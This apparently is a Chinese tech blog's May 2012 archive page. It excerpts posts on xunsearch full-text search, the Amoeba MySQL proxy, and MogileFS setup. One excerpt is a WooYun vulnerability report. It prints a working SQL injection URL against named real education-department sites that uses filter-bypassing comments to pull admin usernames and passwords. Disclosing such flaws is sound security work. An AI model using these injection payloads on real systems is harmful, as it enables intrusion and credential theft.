近几天一直在测试sphinx/coreseek的分词和全文检索的解决方案,sphinx应用的案例比较多,它所提供的接口也比较丰富。昨日接触了一下xunsearch,有点眼前一亮的感觉,相比前者虽然目前只提供php sdk的使用,但是在使用上更友好,文档更规范,从应用上更加减少了开发成本。 xunsearch是SCWS延伸的一个项目,SCWS基于php的分词还是以前在写小项目中使用过,xunsearch也是最近正式发布的,也希望能延续下去。 其官网 www.xunsearch.com 上的文档很详细,安装也做得比较傻瓜,使用前可以浏览看看。 以这个WP的mysql为基础做了一个全文检索的范例: … 继续阅读 试用 xunsearch 全文检索
月度归档: 2012年5月
Amoeba for Mysql试用所感
Amoeba for Mysql是一个类似于mysql-proxy国人开发的开源项目,主要功能是数据库代理,项目地址:http://sourceforge.net/projects/amoeba/ 于mysql-proxy最大的不同是其配置文件简单,很容易就能实现读写分离、数据分片和主从备份,在测试环境下做了几种应用的测试,主要是Mysql的数据分片和读写分离。 具体步骤在文档中已经很详细了(http://docs.hexnova.com/amoeba/),下面是一些个人感受: 1、使用水平分片和原始mysql操作还是有很多不一样的,在insert操作的时候,必须指明分片key对应的字段,否则… 继续阅读 Amoeba for Mysql试用所感
没想到wooyun.org上榜被抓sql inject
漏洞编号:WooYun-2012-04939 详细说明: 因其中简单过滤括号和空格,导致可以绕过过滤进行注入。比如随便在教育厅主页打开几个网站测试。 主站:http://gov.e21.cn/school_show.php?college_id=96+/*!and*/+1=2+/*!uNioN*/+/*!seLecT*/+1,user_name,3,4,user_pwd,6,7,8,9,10,11,12,13,14+/*!from*/+admin 高中课改网:http://gzkg.e21.cn/content.php?id=1253+/*!aND*/1=2+/*!uNion*/+/*!sel… 继续阅读 没想到wooyun.org上榜被抓sql inject
给mogileFS增加memcache遇到的
主要参考扶凯的这篇文章《MogileFS 设置 Memcached》 先设置tracker # mogadm settings set memcache_servers 27.17.28.134:22222 然后安装Cache::Memcached这个模块 # cpanm Cache::Memcached 重启tracker之后通过命令来查询key看看: # mogfileinfo –domain=test1 –key=’nginx-1.0.14.tar.gz’ – file: nginx-1.0.14.tar.gz class: default devcount: 2 domai… 继续阅读 给mogileFS增加memcache遇到的
测试MogileFS的PHP模块上传遇到的
在nginx/php-cgi上试试最简单的mogileFS的php模块上传操作,总是报502的错误,查看php-fpm的日志发现提示undefined symbol: ne_set_connect_timeout错误,ne_set_connect_timeout未定义。 查看php的mogilefs扩展到源码mogilefs.c源码发现。该扩展引用了: #include <ne_socket.h> #include <ne_session.h> #include <ne_utils.h> #include <ne_auth.h> #include… 继续阅读 测试MogileFS的PHP模块上传遇到的